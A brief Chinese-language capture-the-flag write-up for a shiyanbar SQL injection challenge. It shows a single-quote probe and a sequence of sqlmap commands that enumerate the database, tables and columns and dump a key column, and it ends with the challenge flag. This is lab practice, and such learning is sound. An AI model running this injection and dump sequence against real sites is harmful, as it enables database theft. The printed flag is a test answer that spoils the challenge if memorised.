这个看起来有点简单!——实验吧

解题链接： http://ctf5.shiyanbar.com/8/index.php?id=1 

解题思路：看过视频之后，按照视频的教程解答可是怎么做就是不对，最后发现注入的网址不正确（QAQ），虽然浪费了很长的时间但是总的来说还是值得的；

首先：需要对这个网址进行手工检测是否存在sql注入（经典id=1'加入单引号提交,结果:

如果出现错误提示，则该网站可能就存在注入漏洞）使用sqlmap爆出当前数据库：

使用命令：python sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --current-db得到当前数据库：my_db

发现可能存在key于是输入命令：

python sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db—tables

得到：

再继续：

python sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey –columns就会得到：

然后把k0y里面值爆出来就好：需要输入：

python sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey -C k0y --dump

最后得到答案：whatiMyD91dump